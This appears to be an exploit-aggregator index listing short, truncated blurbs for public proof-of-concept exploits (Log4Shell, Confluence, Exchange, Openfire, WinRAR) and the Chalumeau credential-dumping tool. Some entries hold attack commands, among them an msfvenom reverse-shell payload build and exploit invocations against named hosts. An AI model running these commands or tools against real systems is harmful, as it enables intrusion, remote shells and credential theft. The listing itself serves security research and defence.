CVE-2026-14762-PoC-Exploit

CVE-2026-14762 – Exploit di SQL injection per Code‑Projects Hotel & Tourism Reservation 1.0 -orange -red Exploit di SQL injection blind time‑based, multi‑thread e completo per CVE‑2026‑14762. Prende di mira l'endpoint /admin/rooms.php dell'applicazione Code‑Projects Hotel & Tourism Reservation...

CVE-2022-28672

CVE-2022-28672 Discord Server Questo bug è un Use after Free causato da una gestione impropria dei riferimenti alla memoria degli oggetti JavaScript. Blog Foxit PDF Reader - UaF - RCE - JIT Spraying Advisory CVE-2022-28672 Demo...

RpcProxyInvoke

RpcProxyInvoke Visão geral Para criar uma forma geral de executar código local e remoto, projetamos um método relativamente obscuro de execução de código, que internamente chamamos de RpcCraft Self e RpcExec Remote Process. Esta técnica aproveita uma metodologia bem conhecida entre desenvolvedore...

CVE-2021-26084

CVE-2021-26084 Prova di concetto per CVE-2021-26084. Iniezione OGNL Webwork di Confluence Server RCE pre-autenticazione Disclaimer Questo è solo a scopo educativo. Non sono responsabile delle tue azioni. Usalo a tua discrezione. Limitazioni dei comandi A causa del payload, non è possibile passare...

CVE-2021-34371

CVE-2021-34371 exploit Python - Neo4j 3.4.18 - esecuzione di codice in remoto RCE basata su RMI...

CVE-2024-13346

CVE-2024-13346 Avada Theme 7.11.14 - Esecuzione arbitraria di shortcode non autenticata CVE-2024-13346 script di exploit Codice di installazione root@kitploit: git clone https://github.com/tausifzaman/CVE-2024-13346.git root@kitploit: cd CVE-2024-13346 root@kitploit: pip install -r requirements.t...

CVE-2020-0688

python3 CVE-2020-0688.py mail.chinabaiker.com [email protected] password command...

CVE-2021-44228

CVE-2021-44228 Riproduzione della vulnerabilità 1. Eseguire prima RmiServer per creare un servizio di registro RMI. 2. Eseguire Log4jTest; se si utilizza Windows, apparirà la calcolatrice...

horrors-log4shell

horrors-log4shell Ein Mikro-Labor Spielplatz? für CVE-2021-44228 log4j Kann zum Ausführen von Payloads gegen mehrere Ziele verwendet werden. Zielspezifische Payloads werden zur Laufzeit generiert. Anpassbare Konfiguration und Bypasses. Installation Java-bezogene Voraussetzungen Entwicklung /...

CVE-2023-27524

CVE-2023-27524 Bypass de Autenticação do Apache Superset CVE-2023-27524 Referência https://nvd.nist.gov/vuln/detail/CVE-2023-27524 https://github.com/horizon3ai/CVE-2023-27524 https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/...

CVE-2019-12949

CVE-2019-12949 Von Cross-Site-Scripting-Schwachstelle zu Remote-Code-Ausführung in pfSense 2.4.4-p2 und 2.4.4-p3 Informationsbeschreibung: In pfSense 2.4.4-p2 und 2.4.4-p3 kann ein Angreifer, wenn es möglich ist, den authentifizierten Administrator dazu zu bringen, auf einer Phishing-Seite auf...

CVE-2024-4577

Orange Tsi 🍊 Questa vulnerabilità è stata trovata da Orange Tsai @orange8361 di DEVCORE @d3vc0r3. Assicurati di seguire la sua eccezionale ricerca; il nostro ruolo è stato solo quello di ricreare e sviluppare l'exploit per questo problema. Avviso di sicurezza: CVE-2024-4577 Vulnerabilità di...

CVE-2025-55182

CVE-2025-55182 — Esecuzione di codice remoto non autenticata in React Server Components Gravità: Critica — CVSS 10.0 CWE: CWE-502 Deserializzazione di dati non attendibili Vendor: Meta Facebook Divulgata: 3 dicembre 2025 Panoramica CVE-2025-55182 è una vulnerabilità di esecuzione remota di codice...

CVE-2025-51411

🛡️ Divulgazione CVE: CVE-2025-51411 — XSS riflesso in Institute-of-Current-Students Data di divulgazione: 25 luglio 2025 ID CVE: CVE-2025-51411 Gravità: MEDIA CVSS 6.1 🧩 Riepilogo Una vulnerabilità di Cross-Site Scripting XSS riflesso è presente nel progetto Institute-of-Current-Students v1.0, in...

CVE-2018-20250

Configurazione Video demo: https://youtu.be/5tuWsi1tGS0 VirtualBox Machine: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Passaggi da eseguire Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe...

chalumeau

Chalumeau Chalumeau is automated,extendable and customizable credential dumping tool based on powershell and python. Main Features Write your own Payloads In-Memory execution Extract Password List Dashboard reporting / Web Interface Parsing Mimikatz Dumping Tickets Screenshots Known Issues Parsin...

chalumeau

Chalumeau Chalumeau è uno strumento automatico, estendibile e personalizzabile per il dump di credenziali basato su PowerShell e Python. Funzionalità principali Scrivi i tuoi payload Esecuzione in memoria Estrai elenco di password Report dashboard / Interfaccia web Parsing di Mimikatz Dump dei...

CVE-2023-32315-Openfire-Bypass

CVE-2023-32315 0x01 Ottieni JSESSIONID e csrftoken restituiti , costruisci un pacchetto di richiesta per aggiungere un utente sostituisci JSESSIONID, csrftoken root@kitploit: cd CVE-2023-32315-Openfire-Bypass/scanall go mod tidy go run main.go -u http://openfire.com:9090 0x02 Compilazione e...

openam-CVE-2021-35464

openam CVE-2021-35464 Esecuzione di comandi con echo su tomcat. Il progetto si basa su ysoserial e Java-Rce-Echo Per compilare il progetto è necessario aggiungere ysoserial.jar e jato-14.6.3.jar alle dipendenze. root@kitploit: POST /OpenAM/ccversion/Version HTTP/1.1 Host: php.local:8081...

CVE-2022-22947-Spring-Cloud-Gateway

Spring Cloud Gateway Remote-Code-Ausführungs-Schwachstelle Diese Schwachstelle stellt ein hohes Risiko für den Produktionsbetrieb dar. Führen Sie keine unbefugten Scans durch. Verwendungshinweise root@kitploit: ╰─ ./CVE-2022-22947 -h ─╯ Befehl ausführen: ./CVE-2022-22947 -u http://127.0.0.1:8080 ...